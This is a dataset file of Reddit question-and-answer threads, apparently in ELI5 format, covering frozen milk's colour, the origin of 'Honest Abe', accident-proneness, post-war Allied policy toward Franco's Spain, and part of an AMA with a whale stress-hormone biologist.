{"q_id": "fmqqgu", "title": "why does milk turn yellow when frozen?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fmqqgu/eli5_why_does_milk_turn_yellow_when_frozen/", "answers": {"a_id": ["fl5jjx1", "fl5rn0d"], "score": [6, 2], "text": ["Riboflavin's Coloring\n\nAs the\u00a0milk\u00a0freezes, though, the riboflavin doesn't\u00a0freeze\u00a0as quickly as other ingredients, which makes it separate from them and become more concentrated. When it finally does\u00a0freeze, its concentrated enough that its\u00a0yellow\u00a0coloring is clearly visibl", "proteins. certain proteins in the milk separate and concentrate and it gives the milk a yellow hue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2yvh27", "title": "\"Abe Lincoln got the name 'honest Abe' because of his impartial judgement during cock fights\" How accurate is this statement?", "selftext": "[From this comment](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2yvh27/abe_lincoln_got_the_name_honest_abe_because_of/", "answers": {"a_id": ["cpditaq"], "score": [347], "text": ["The expression \"honest Abe\" was used [as a political slogan in the 1860 presidential campaign](_URL_1_), and because of its use in a political context, there are many, many stories of how it came to be. In fact, its first widespread mention was at the Republican presidential convention in Chicago in 1860. [Richard Oglesby, a friend of Lincoln's, used the nickname \"Honest Old Abe\" and \"Lincoln the Rail-Splitter\".](_URL_0_) He may have been re-using a slogan from even earlier. As /u/rkiga points out below, there was a Lincoln banner that proclaimed \"An Honest Vote for Honest Abe,\" and was used during the 1858 U.S. Senate race. According to Lowell Harrison's *Lincoln of Kentucky,* at the state Republican political convention in Decatur, Illinois, Oglesby organized a parade of two decorated fence rails emblazoned with the slogan \"ABRAHAM LINCOLN THE RAIL CANDIDATE FOR PRESIDENT IN 1860\". Other messages stated that the rails were two of 3,000 created by Thomas Hanks (a Lincoln cousin) and Abe Lincoln, whose father was the first pioneer of Macon County (Illinois). \n\nThis wasn't wholly accurate, but that image of a hard-working common man was spread through books, pamphlets, newspapers, songs and every other bit of campaign ephemera that existed.\n\nBut while we know *when* and *why* the slogan spread, I suspect the nickname's origin arose because of *many* incidents, all adding up to a whole that was magnified during the political campaign of 1860. Adding to the problem of identifying a single origin point is Lincoln's tragic assassination, which meant, as Stephen Oates points out, \"the man became obscured in an outpouring of flowery orations and tear-filled eulogies. As the seasons passed, Lincoln went on to legend and martyrdom, inflated by the myth makers into a godly Emancipator who personified America's ideal Everyman.\"\n\nYet even Oates concludes, \"No, Lincoln was as honest in real life as in the legend. Even his enemies conceded that he was incorruptible.\"\n\nThe cockfighting story comes from William Henry Herndon and Jesse William Veik's *Herndon's Lincoln: The True Story of a Great Life*, which was published in 1889. Herndon was Lincoln's third and final law partner, joining the future president in 1844. Herndon [isn't an impartial observer of Lincoln](_URL_3_), but I'll reproduce his account below for your reference. Herndon says he got the account of this incident from A.Y. Ellis, who was a merchant in New Salem, Illinois when Lincoln lived there from 1831 to 1837. \n\n > \"At this time in its brief history New Salem was what in the parlance of large cities would be called a fast place ... It remains a matter of surprise that Lincoln was able to retain his popularity with the hosts of young men of his own age, and still not join them in their drinking bouts and carousals. 'I am certain,' contends [A.Y. Ellis] that he never drank any intoxicating liquors\u2500he did not even in those days smoke or chew tobacco.'\n > In sports requiring either muscle or skill he took no little interest. He indulged in all the games of the day, even to a horse-race or cock-fight. At one eventful chicken fight, where a fee of 25 cents for the entrance of each fowl was assessed, one Bap. McNabb brought a little red rooster, whose fighting qualities had been well advertised for days in advance by his owner.\n > Much interest was naturally taken in the contest. As the outcome of these contests was generally a quarrel, in which each man, charging foul play, seized his victim, they chose Lincoln umpire, relying not only on his fairness but his ability to enforce his decisions ... \"\n\nMore likely than a single event like this one was a multitude of smaller incidents that gave Lincoln his \"honest\" nickname and allowed him to keep it. The biography *The Pioneer Boy, and How He Became President* was published for children in 1863, and Lincoln himself was consulted by its author. It shares the story of Lincoln, who borrowed a book, only to have it ruined by rain seeping through the walls of his home cabin. He worked for three days to replace the book.\n\nOates' *With Malice Toward None: The Life of Abraham Lincoln* and other popular biographies share the story of Lincoln's failed business, the Berry Lincoln Store, which left him so much in debt that he needed 15 years to pay it all back -- and he did.\n\nA few more instances are referenced in Benjamin Thomas' *Lincoln's New Salem*, which was first published in 1934 and covers Lincoln's life in that Illinois community at the time of the cockfighting incident. This book was published (as was Herndon's) during the \"myth-making\" period of Lincoln historiography, so keep that in mind. As Thomas himself wrote: \"The exact proportion of truth in these tales of miraculous achievement is of no great importance.\"\n\nStill, if we are to get to the bottom of this, we must examine the evidence, such as it is:\n\n > \"People recollected his honesty and kindness. In making change for a woman, while working in Offut's store, he took out six and a quarter cents too much, and at closing time, discovering his error, walked six miles to return the money. On another occasion, after weighing out some tea, he found a four ounce weight on the scales, and again walked several miles to correct his mistake. Such acts as these won him the nickname \"Honest Abe.\"\n > He helped a barefoot boy split rails to get money to buy a pair of shoes. He offered the horse on which he was riding to Doctor Chandler of Chandlerville to help him get to the Land Office ahead of a \"land shark\" who wanted his farm. In re-surveying the town of Petersburg he ran the lines out of plumb to prevent the house of Jemima Elmore, widow of a comrade in the Black Hawk War, from being in the street.\n > When a loafer offended his women customers by persistent swearing he took him out and thrashed him. Sometimes he restrained his rash associates from an especially cruel prank. He stopped them from rolling an old drunkard down the bluff in a barrel, although the victim had agreed to let them do it for a drink. He dissuaded Jack Armstrong from thrashing a stranger who refused to be bullied.\" \n\nBy 1850, Lincoln had established a career as a good lawyer and a middling-to-minor politician. Following his death, [a document fragment dated July 1, 1850 was found in his notes](_URL_2_). It may have been written later, but in any case it was intended for a law lecture for young lawyers. Lincoln wrote in part:\n\n > \"There is a vague popular belief that lawyers are necessarily dishonest. I say vague, because when we consider to what extent confidence and honors are reposed in and conferred upon lawyers by the people, it appears improbable that their impression of\ndishonesty is very distinct and vivid. Yet the impression is common, almost universal. Let no young man choosing the law for a calling for a moment yield to the popular belief \u2500 resolve to be honest at all events; and if in your own judgment you cannot be an honest\nlawyer, resolve to be honest without being a lawyer. Choose some other occupation, rather than one in the choosing of which you do, in advance, consent to be a knave.\"\n\nThe person who kept alive the idea of \"honest Abe\" more than anyone else was without a doubt Carl Sandburg. His mammoth multi-volume biography of Lincoln was perhaps the peak of the myth-making Lincoln ideal. In 1909, Sandburg -- then working as a newspaper columnist in Wisconsin -- wrote about how ideal it was to use Lincoln's face on the penny. \"The common, homely face of \u201cHonest Abe\u201d will look good on the penny, the coin of the common folk from whom he came and to whom he belongs.\"\n\nIn no small part, Sandburg's writing has meant that regardless of where the nickname comes from, we remember it."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskReddit/comments/2yt84w/who_is_someone_that_we_praise_but_was_actually_a/cpcpli7"], "answers_urls": [["http://www.nps.gov/shil/upload/Hackleman-and-Oglesby.pdf", "http://www.loc.gov/pictures/item/2003674568/", "http://www.americanbar.org/content/dam/aba/administrative/professional_responsibility/39th_conference_session_7_did_lincoln_practice_law_the_way_he_practiced_politics.authcheckdam.pdf", "http://www.mrlincolnandfriends.org/inside.asp?pageID=43"]]}
{"q_id": "2094d0", "title": "why some people are more accident-prone than others?", "selftext": "Had to ask this due to my brother spilling water on my laptop and the thought occurring to me afterword. Throughout our childhood, teenage and now adult years, my brother has been very clumsy. He often drops or knocks something over at least once (if not more) a day. He's also been in a few automobile bump ups, personal injuries, etc. He doesn't have a mental disorder and acts like everyone else (he's pretty sharp guy, smarter than most people I know his age), so I would think it would be out of the question to think he is mentally deficient in any way. On the other hand, I'm very careful and rarely break or drop things. So I was wondering if any of you had your own solid answers or theories on the matter.\n\nAlso, I did a quick search and went to wikipedia as well to look up \"Accident-Prone\" but most of what I read were theories with no actual proof to it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2094d0/eli5_why_some_people_are_more_accidentprone_than/", "answers": {"a_id": ["cg0ysuk"], "score": [2], "text": ["I have a friend that is the same way. It results in a lot of chipped/broken dinnerware.\n\nThink of your body as a car and the driver as your brain. Your body has a feedback system to tell you your relative position in the form of a GPS unit that the driver can see.\n\nLet's say that the GPS updates much slower than usual: say every 3 blocks. You'll be driving around downtown trying to find where you need to go and end up overshooting the turn you needed to take all the time. It's difficult to know your exact position in this case and you'll end up going where you don't want to.\n\nIn another case, let's assume the accelerator is extremely sensitive. The car lunges ahead at the slightest tap of the accelerator. Sure you may have a perfect GPS but it doesn't help when your car is so difficult to control!\n\nNow in the last case, let's remove the side and rear view mirrors from the car and put some blinders on the driver so that the driver has tunnel vision. The car and GPS are perfectly fine but if you can't see where your car is going relative to your surroundings, it's difficult to not get into an accident!\n\nTherefore, there are multiple reasons why people can be accident prone. However, like any skill, you can train yourself to be better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1rygz8", "title": "Was there ever any consideration at the end of World War II to invade Spain and Portugal and end all fascist regimes once and for all?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rygz8/was_there_ever_any_consideration_at_the_end_of/", "answers": {"a_id": ["cds5zw1", "cdsaabw", "cdsbfaa", "cdscku3", "cdsi2u9", "cdsibyl"], "score": [413, 43, 33, 21, 15, 2], "text": ["For all his faults (and there were many) Franco was a dedicated anti-communist.  He was also a consummate survivor, and was smart enough to position himself as useful after the war.  The US wasn't worried about fascism as WWII drew to a close, they were worried about communism.  There were a great many other concerns.  Since Franco hadn't the means to undertake any expansionist dreams, the US could concentrate on those other concerns (such as rebuilding western Europe, resisting communism in the rest of Europe, dealing with Japan and China, and a host of other issues). \n\nAlso, it would have been a difficult sell to the American people to invade Spain after such a devastating conflict as WWII.  For good or ill, many Americans were sympathetic to Franco.  There was little in the way of a *casus belli* beyond Franco's fascism.", "Related question. Was there ever any thought of using spain as a beach head on the continent (welcome or otherwise)? Spain was, presumably, relatively weak/poorly defended and the allies had control of north africa by then. Were the pyranees considered to defensible?", "Although Spain and Portugal's WWII era regimes are popularly described as \"fascist\" regimes, they are generally considered non-fascist by academics and differ from traditional (as far as that word can be used) fascist regimes in many key respects. Salazar actual actively disassembled Portugal's fascist party. The point is, during WWII the regimes were not generally lumped with Italy and Germany by the allies. Spain had been favorable to the axis in the early years of the war, but had walked back from that stance by the fall of the Nazi regime.\n\nAs /u/Domini_canes points out, the concern directly after WWII was communism and rebuilding Western Europe to prevent the spread of communism, strategically, taking out Spain and Portugal made little sense (their lower populations, smaller economies, and lower levels of industrialization also made them fairly nonthreatening.) ", "On a related note since /u/Domini_canes covered most of it, there were attempts by Republican sympathisers to provoke an Allied invasion of Spain to overthrow Franco with the Spanish Maquis (Republican guerrillas who had fled into France after the Republic's defeat and had joined the French Resistance at the outbreak of WW2). \n\nThe maquis, based in France, attempted to invade Spain through the Aran Valley in the Pyrenees with some 7,000 guerrillas in October 1944, with the hopes of prompting the Allies to liberate Spain from Franco as they had done France from the Nazis, as well as a general uprising against Franco throughout Spain. Ultimately, though, the attempt failed as such a reaction failed to occur in the hopes of the Republican government in exile, and the maquis were pushed out of the valley by the Spanish Army and Guardia Civil. \n\nEdit: formatting, cleared up wording", "In regards to the Estado Novo in Portugal, no. Although there was CIA and US government involvement in counter-revolutionary activities following the Carnation Revolution in Portugal in 1974 including some support given to secessionists in the strategically important (especially for US military planners) Madeiran and Azorean regions.\n\nAs far as Franco's Spain goes, yes. There were plans for interventions of several sorts, including military intervention, by several countries and surprisingly Britain's 'socialist' government under Atlee was the main reason why no such intervention took place.\n\nIn late 1945, the torture and execution of Cristino Garc\u00eda, a leftist Spanish guerrilla in Franco's Spain who had previously fought in the French resistance in the Second World War, led to significant internal pressure on the French government to break with the policy of non-intervention on Spain. . The internal pressure and popular outcry forced the French government to close its border with Spain and move towards bringing the issue before the UN Even prior to this outrage, France had consistently called on Britain and the United States to go beyond condemnations and use force to oust the Franco dictatorship. While the United States was willing to defer to France on the Spanish Question to ensure the maintenance of Western unity, the British response was far less favourable. As a result, both Britain and the United States ensured that France backed down. \n\nSource: Florentino Portero, Franco Aislado: La Cuesti\u00f3n Espa\u00f1ola (Madrid, 1989), pg 36\n\nThere were also attempts to force the issue of the Franco regime to the fore at the UN by Eastern Bloc countries, partly in order to demonstrate that Western countries were as guilty of permitting human rights abuses in their sphere of influence as the USSR. In 1946 Soviet Poland re-submitted the same proposal as France had intended to, word for word, calling the Franco regime a threat to world peace and if it had been adopted then the Franco regime would have faced either economic embargo or military intervention. Western countries argued against this and so the resolution failed.\n\nSource: Florentino Portero, Spain, Britain and the Cold War pg 219\n\nIn early 1947, the United States aimed to overthrow Franco by supporting an internal military coup to restore democracy and ensure the imposition of a regime which the US could do business with without having to deal with a country tainted by its association with Nazi Germany and Fascist Italy. Ernest Bevin, British foreign minister, opposed this plan, mostly out of fear of a Greek Civil War scenario in Spain in the event of leftists winning democratic elections. During this period both the US and the UK did not give any aid to left-wing or right-wing dissidents, a fact which bolstered the Franco regime.\n\nSource: Paul Preston, Franco: A Biography (London, 1993), pg 565\n\nFor further reading on this I particularly recommend \n\nBoris Liedtke, 'Compromising with the Dictatorship'  in Sebastian Balfour, Paul Preston (ed.), Spain and the Great Powers (London, 1999)\n\nChristian Leitz, 'Nazi Germany and Francoist Spain, 1939-1945' in Sebastian Balfour, Paul Preston (ed.), Spain and the Great Powers (London, 1999)\n\nEdward Johnson, 'Early Indications of a Freeze: Greece, Spain and the United Nations, 1946\u201347' in Cold War History, 6:1 (2006)\n\nEnrique Moradiellos, 'The Allies and the Spanish Civil War', in Sebastian Balfour and Paul Preston (ed.), Spain and the Great Powers (London, 1999)\n\nEnrique Moradiellos, 'The Potsdam Conference and the Spanish Problem' in Contemporary European History, 1:1 (2001)\n\nFlorentino Portero, Franco Aislado: La Cuesti\u00f3n Espa\u00f1ola (Madrid, 1989)\n\nGlyn Stone, 'The Degree of British Commitment to the Restoration of Democracy' in Christian Leitz, David J. Dunthorn (ed.), Spain in an International Context (Oxford, 1999)\n\nJill Edwards, Anglo-American Relations and the Franco Question: 1945-1955 (Oxford, 1999)\n\nJonathan Schneer, 'Hopes Deferred or Shattered: The British Labour Left and the Third Force Movement, 1945-49', The Journal of Modern History, 56:2 (1984)\n\nJulio Gil Pecharroman, La Politica Exterior del Franquismo: Entre Hendaya y el Aaiun (Madrid, 2008)\n\n**Qasim Ahmad, 'Britain and the Isolation of Franco 1945-1950' in Christian Leitz, David J. Dunthorn (ed.), Spain in an International Context (Oxford, 1999)\n\nQasim Ahmad, Britain, Franco Spain and the Cold War: 1945-1950 (1992, London)\n**\nRaymond Smith, John Zametica, 'The Cold Warrior: Clement Atlee Reconsidered, 1945-7', International Affairs, 61:2 (1985)", "can anyone recommend any reliable history books on the spanish civil war/franco era during WWII? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1sq9bn", "title": "AskScience AMA: I'm a biologist who studies stress and reproduction in large whales, sea turtles and other species. I'm at the international marine mammal meeting right now in New Zealand. AMA", "selftext": "Hi folks, I have a PhD in zoology and since 1999 I've been working on stress and reproductive physiology of large whales. My main study species is the North Atlantic right whale, which is (we think) the most endangered of the large whales. My team was one of the first to link acoustic stress (ocean noise) to elevated stress hormones in a large whale. I also work on sperm whales, beaked whales, humpbacks and bowheads, as well as several species of sea turtles, I dabble in penguins, and I used to study songbirds, elephants, and bears. I'm at the biennial meeting of the Society for Marine Mammalogy right now in New Zealand, where I gave presentations on how to study fecal hormones and respiratory vapor hormones in large whales. Today is the last day of the meeting. AMA.\n\nedit: Sorry for the total lack of links to peer-reviewed literature - I'm having to do this all on my iphone.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1sq9bn/askscience_ama_im_a_biologist_who_studies_stress/", "answers": {"a_id": ["ce03tt6", "ce04g18", "ce04hhp", "ce0525i", "ce05azg", "ce05azw", "ce05ehx", "ce05hge", "ce05lon", "ce05o0v", "ce05o2s", "ce067dk", "ce069j3", "ce06ccz", "ce06llh", "ce06w8j", "ce0729a", "ce072ya", "ce075kl", "ce076gr", "ce0777k", "ce0778l", "ce077w2", "ce078yy", "ce0790k", "ce07d44", "ce07etd", "ce07hf9", "ce07kfw", "ce07l41", "ce07m0r", "ce07ooq", "ce07oq4", "ce07qy4", "ce07ri3", "ce07xsf", "ce07zfj", "ce088yo", "ce08q8p", "ce08qup", "ce08tjs", "ce0917p", "ce095x0", "ce09h54", "ce09ogd", "ce0adqs", "ce0ahxh", "ce0asul", "ce0axhm", "ce0b5yl", "ce0dgoc", "ce0di9l", "ce0dq2h", "ce0ekra"], "score": [22, 87, 16, 9, 17, 5, 14, 13, 5, 2, 38, 13, 24, 3, 12, 2, 7, 3, 2, 3, 3, 2, 2, 5, 3, 4, 3, 2, 5, 6, 6, 4, 2, 3, 3, 2, 2, 3, 2, 3, 5, 2, 2, 2, 3, 2, 6, 3, 2, 2, 3, 2, 3, 2], "text": ["Do environmental stresses ever manifest themselves as erectile problems in whales? Other than size, are there any major differences between the whale and human male reproductive systems? (edit: sp)", "Thanks for the AMA! 2 questions:\n\nWhat have your studies found to be the most common source of ocean noise? \n\nWhat is, in your opinion, to be the most threatening factor to the whales' habitat? ", "What information is expected to be obtained/ gleaned by studying these hormones- indications of stress, or certain stressors? Or just wholesale stress in general?", "Hi 99trumpets! Which conservation issues would you say are most critical for the animals you have studied? Does their reproductive biology play into this, since most reproduce at fairly low rates?  ", "Thank you for doing this AMA, I respect what you do and what you're researching.  I'm not here to ask a specific question about Whales, but have you seen the Documentary [Blackfish](_URL_0_), and what is your take on it if you've seen it?", "Where in New Zealand are you? I studied Sustainable Development there for a month when I was in college, and we traveled everywhere North and South. I actually got to hold a Little Blue Penguin! May have been the best moment of my life.\n\nThe penguin was kind of oily feeling, slick, not what I expected. It was at an aquarium, can you comment on that? Thank you!!", "Why do people still attempt to go whaling? Is there really a large market for them? Do you think its actually possible to ever have the ocean get back to a more sustainable ecosystem considering reports have suggested we have depleted fish stocks by 90%?", "With your research studying the stress caused by noise pollution, what are your opinions on using noise to deter cetaceans from areas that put then at risk from beaching, and also from being harmed by ships? I've read/heard about both being considered as options to prevent more fatalities from these hazards.\n\n\nAlso, do you identify individual whales (photo I.d., biopsy darts etc) in a population and follow how stressed they are at different times, ie busier shipping periods, or has it been more a case of just taking samples from different populations exposed to higher or lower levels of noise pollution? Migrating also being a mixture of the two and perhaps the best way I guess?\n\n\nAre there specific stress hormones related to noise pollution, or is it just that these hormones wouldn't commonly be found otherwise in a healthy individual subject to less stress.\n\n\nAny evidence that age changes these effects, with younger individuals being more \"used\" to the noise having grown up with it, under the assumption that older adults are just not used to the intensity that has built up in the mass globalization of the last few decades? (Any studies based on differences in stress levels with age?)\n\n\nAnd finally, any PhD positions going? ;-)", "Is it true whale stress levels were lower after 9/11 because of the decrease in shipping traffic?", "Was it hard finding a job? ", "Given the time of year, and the relevance of your current location, I have a critically important question.\n\n\nDue to his background as a [Riverfolk](_URL_1_), and proclivity to skulk around in water in caves, is [Gollum (Smeagol)](_URL_0_) considered a marine mammal and therefore in the domain of your studies: Yes or no? If yes, are you looking for a new research assistant perhaps? ", "Thanks for doing the this AMA! Really learning a lot.\nMy question is about stress levels of captive marine mammals. After watching 'The Cove' I was shocked to learn how susceptible captive dolphins are to brain aneurisms due to high amounts of stress associated with noise and performing. Have you been able to study captive marine mammals? How healthy are the marine mammals that are housed at places like Seaworld? What is your opinion of places, like Seaworld, that hold captive marine mammals?", "A Professor of mine from UVic is at that meeting! \n\nAnyways, I was wondering how you think noises form aquariums affect whales? I know that you've worked mostly on baleen whales, and they don't keep those in captivity, but would you expect the effect to be the same on killer whales and dolphins?\n\nHow exactly do you study endocrinology of whales? You're not the guy that strapped a bag to the end of a stick and tried to catch their urine, are you?", "Do you expect whales to adapt to ocean noise?", "I was once on bow watch on a tallship in the St. Lawrence when I felt the ship lurch and when I looked down the port side I saw what I believe was a right whale which seemed to scratch it's back on the side of the ship... or it was rubbing itself against the ship for some reason.\n\nOnly time in my life when I felt truely speechless\n\nMy question is this, does this happen often with whales?", "Greetings! Thank you so much for doing this AMA!\n\nI'm currently attending university to get my BS in biology (with marine emphasis). I've always been intrigued by the ocean. I love the inhabitants and it's so largely unexplored! I've always felt that the ocean has been my passion. I have lots of questions to ask, but I'm hoping that you'll take the time to answer them all!\n\n- Did you know when you were an undergrad that you wanted to get a graduate degree or did you decide part of the way through your studies? Why did you get a PhD and was it worth it in your opinion?\n\n- How much does GPA really matter when trying to get into a graduate school?\n\n- What's different between, say a BS in Marine Biology and a BS in Zoology? How would the job opportunities differ? I ask because I'm extremely interested in all life on land also. \n\n- I've had professors tell me before that I should narrow down what I'm interested in, which seems so difficult. So specifically I'm interested in sharks, rays, and skates. I am very intrigued by cetaceans, coral reefs ecosystems and the preservation of them, the kelp forests of the oceans, and the benthic zone (it's always been a bit of a dream to go in a deep sea sub). Does this mean I should pick one thing to focus on? \n\n- What recommendations could you make to someone still working on their undergrad? Should I take any and all opportunities for jobs/interns in my area while I'm in school (ex: summer months)? \n\n- Even though I will have a BS in biology with marine emphasis, would I still be able to attain a job that requires a BS in biology that is NOT marine related? \n\nThank you so much! Best of luck with all your studies!", "Ok, I have a more personal question, and not immediately relevant to the topic. I've done quite a bit of work on this topic during the past 3 years at uni, and I'd like to ask is it at all possible to join you if you ever go out into the field to gather data? My dream has been to actually see these magnificent creatures in real life, and every time an opportunity presents itself, I get shot down. So, yeah. My question is, can I go with you to see whales and help out a bit with the research? ", "Neat AMA--thanks! I'll put the questions first with some short context after if it's still relevant to you!\n\n1. Are there ways to predict the viability of reproduction in captivity for a being we haven't yet observed for a full life cycle?\n\n2. I know it's a shark not a whale, but is there space in any man made habitat (specif. Georgia aquarium's massive whale shark enclosure (6.3m gal?)) for any brand of floppy aquatic mating?\n\nI went on a back tour of the Georgia aquarium in Atlanta (jump on a tour like this if you are ever extended an invitation--it was so fun! And shout-out to Marvin the amazing lawyer/volunteer tour guide) and I got to stand at the edge of the whale shark enclosure as 4 whale sharks slid like massive dimmer switches behind small boats manned by young aquarium employees sifting krill through a long net. It was so fucking cool. \n\nI asked if keeping two males and two females in the same space is going to be alright long term and he said 'we don't know yet', and I thought that was funny! If they don't reproduce naturally, can we not artificially inseminate any animal that can be sedated? I imagine hormone production due to stress (in this case in captivity) would perpetually compromise developing offspring. But also nature is weird, and when we try to keep it it just doesn't work right.\n\nThanks again!", "Are there quieter places in the oceans, and do whales seek them out? \n\nHas there been an effect of noise on their traditional breeding locations? \n\nI guess I'm asking if they look for a quiet place to do it.", "Thank you for doing this AMA. \n\nI was curious about the pod of whales(pilot whales I think) that recently got stuck in shallow waters in Florida.  \n\nWould you happen to know what causes large groups to act like that? I have seen large groups beach themselves, and it seems as if they are all committing suicide. \n\nWhat causes that?", "How did you get involved in this field of work? I'm going to graduate this year and have no idea where to even begin looking for a job here in Canada. I went to that place in the university where they're supposed to help you with this (I forget what it's called), yeah that was a waste of time - apparently for anyone in the science department. ", "How much whale sperm floats in the ocean? Is a getting a wave in my face near whale breeding ground prone to be an involuntary bukake?", "I'm a third year aquatic zoology student doing an essay on adaptations of cetaceans to the aquatic environment. have you got any suggestions of anything I really shouldn't leave out or any iconic papers on the subject? Thank you!", "Do you look at immune function as it relates to elevated stress? It's been shown in humans that chronic stress can cause an increase in proinflammatory cytokine production and cause TCell dysfunction. It sounds like these mammals are under chronic stress, and I assume that their immune system is comparable to human/Chimp.", "As a marine biology major one semester from graduating, what would you suggest I do to begin looking for employment?  ", "Hi, thanks for the AMA! \n\nAre these large mammals being overfished/hunted? Why hasn't Japan given more effort towards banning and fining whale hunting? \n\nHave you seen the documentary Blackfish, and if so, do you think it is an accurate portrayal of Orcas' stress responses in captivity? Do you think SeaWorld and other marine entertainment parks should be shut down? \n\nThank you. ", "As  biologist ten years removed (I have moved on to making money in another field), the aquatic environment always fascinated me. One thing that really shocked back then was then was the level of \"disgusting\" the oceans had become. Has much changed in the worlds view of the oceans, and  have the oceans gotten any \"better\"?  \n", "Okay, This is a really odd question, but I may never get the opportunity to get a straight answer again. \n\nIs it true that the volume of semen ejaculated by large whales measures into the hundreds of gallons? And are there specific numbers for an average amount? \n\nI recall years ago seeing a meme about blue whales putting out somewhere around 400 gallons each time with only ten percent making it into the female. The implication and punchline was that this \"fact\" was why the ocean was so salty. And while I know that part was not true, I always wondered about the numbers it claimed. \n\nThanks for taking the time to read and possibly respond to such a ridiculous question. :-) \n\nEdit: misspelled word", "I literally just walked out of a marine ecology final. \n\nOn one of my questions, I wrote about how currents help drive pelagic communities because they bring nutrients toward the surface, which allow phytoplankton to bloom and kick start a feeding frenzy. \n\nSince whales are diving from the surface to breath to the deep to feed, how much do whales contribute to moving nutrients around in the pelagic zone? Ive heard that massive amount of whale shit can provide the nutrients for phytoplankton, but is this a significant factor? ", "Thanks for doing this fascinating AMA! Switching gears here, as I see you used to work with songbirds. Here are my questions:  \n  \n  Did you do similar acoustic stress studies of songbirds? If so, what were the major contributors to that stress?  \n  \n  If you did NOT do acoustic studies of songbirds, what did you study about them? Do you prefer the marine animal work or the terrestrial work?", "Reading some of your answers really paints a dark picture on the current and upcoming situation in the oceans.\n\nIs there anything you find in your research that cheers you up? Or is it just an ongoing chain of bad news?", "I am currently an undergraduate student at the University of South Carolina School of Marine Science. I took a marine animal behavior course a couple of semesters ago. My professor Dr. Griffen talked about some of your research and in particular the \"unplanned experiment\", that was the 9/11 and also briefly explained to us how whale hormones are studied (by their poop). I thought it was very interesting stuff!\n\nSo my question is, how would someone like me get involved and become a part of what you are doing? Are there an internships available?\n\nThank you for doing this AMA and making people more aware of what is happening in our world's oceans!!", "Hi there!\n\n1. I remember this reddit post where I got the idea that the spermaceti on sperm whales is there to help the whale on it's navigation, using some sort of echolocation, just to learn later on that there's a theory on this. Why no one has proved this theory yet? \n\n2. Are there any real world studies on whales communication and any attempt to translate them? (also interested in dolphins on this matter)\n \n3. What is a common day for whales? I mean, do they sleep, wake up, eat fish, swim around, eat and sleep again or is there any other interesting thing they do frequently, like fight other whales? Do whales even fight with each other for females or some other reason?\n\nThanks!\n\n", "As recognition and treatment of \"psychiatric\" disorders becomes more prevalent in companion animal medicine I am curious if any of your research could be used to benefit captive marine mammals in the same way?\n\nIt doesn't seem unreasonable to think that captive whales might experience some psychological disorders due to their environment, correct?  In \"Blackfish\" it was suggested that antidepressants/anti anxiety meds may be used on some animals.  I've tried to find information on these practices without much luck; I imagine because of how off-label using Prozac to treat whale depression is.\n\nLastly, how would you feel about your research being used to more easily breed marine mammals to live in captivity?", "This one is quite off topic. But as a kiwi I am intrigued how has your experience been with  New Zealand and have you done any research in our waters? If so, what are we like to work with? ", "I met a woman recently who studies whale stress hormones by collecting their poop- Do you also collect fecal samples, or are all your hormone samples collected from respiratory gas? \n\nEdit: Looking through your comment history, I'm fairly certain you're the one I met- just wanted to say your \"Whale poop and the meaning of life\" talk this summer was very inspiring! ", "Hey just a few questions\n\nWhat information about deep sea life have sperm whales provided and how is it they deal with pressure so well?\n\nWhat, in your opinion, would be the single most contributing factor to the loss of a species such as the right whale?\n\nThanks", "I think cuttlefish are just awesome, and the Sea of Cortez scares me, because of the humboldts.\n\nSo I am wondering, even though they aren't mammals, are there any indications that sea noise is effecting animals like cephalopods?\n\nAlso, how many marine mammals showed up to the meeting? ha!", "How big is a blue whale's poop?", "Did you do an Msc or did you jump right to PhD? If you did a masters, what was your focus? I just finished my undergrad (biology) and I decided to take a year to pursue my dream of sea turtle research to get my foot in the door for grad school. I ended up running a sea turtle conservation program in Florida and it confirmed my decision to try to stick on this career path for the rest of my life (despite having many close calls with lightning). I have worked with cort levels in song birds in relation to things like reproductive success in the past and I always wanted to get involved in a similar study on turtles (maybe for my masters), so any advice on what kinds of labs to get involved in would be amazing!", "Take us through what it's like to research these guys. Do you spend most of your time puttering around trying to find the whales? Once you find them does your boat influence the results? How would you know the stress isn't from yourselves? Is it easy to find whales, especially since you're looking at an endangered species? You collect whale poo, from what I've gathered. How does that even work? Chase them down until they do their thing then scoop it up? \n\nAlso, I'm a biochemist so I'm kind of curious what you do to test for glucocoritcoid experimentally.", "How different are stress hormones across vertebrate taxa?", "How do you go about sampling fecal hormones and respiratory vapor hormones in whales? I imagine it's no simple task.", "Im a youngin', 17, I wanted to know if zoology is a profession worth looking into And maybe in the future, studying. ", "As far as the reproduction goes, have you found any correlations between the noise of ocean stress, or any other stressors, to any type of fetal programming?", "What ratio of time would you say you've spent between the field, the lab, and your desk?", "Have you heard of the 52 hz whale? I might be working on a documentary about it. I was wondering what insight you might have on the whale as it can't communicate with its own species. Is this something that can actually psychologically damage a whale? I'm asking because the story went semi-viral and I'm wondering if it's because of personification or is the animal experiencing real loneliness.", "Thank you so much for doing this AMA! I just wanted to say if you happen to come across my Lab Co-Workers, they have awesome research that is worth a listen!\n It's the Pinniped Cognition and Sensory Systems Laboratory of UC Santa Cruz.\n\nThey are doing amazing work and a few of our Grad Students are giving great talks. Thank you again for the AMA!", "Do you believe your research will actually change human behavior in a way that will benefit the wales?", "What is your opinion on whales in captivity?", "I'm as aware as anyone of the difficulties of measuring anything like general \"intelligence\" in animals, but in a broad sense, how bright would you say various types of whales and other marine tetrapods are? Do you think any are under or overrated in that department?  \n\n\nAlso, I work in a lab which takes stress hormones from fish noninvasively by placing them in a beaker and letting the hormones ooze off into the water.  Have you considered trying this with whales?  I'm not sure it would work as well since they don't have gills, though other than that I don't see any logistical problems.", "Do you have any cool stories about whale intelligence?", "1.  How big a problem does white noise in the ocean present for ocean life (in particular large whales because they are awesome, but other things, too).  What kinds of problems does this manifest as (are the animals actually suffering, or is it a statistical effect like \"breed less because they can't communicate as far?\"\n2.  Is there a solution 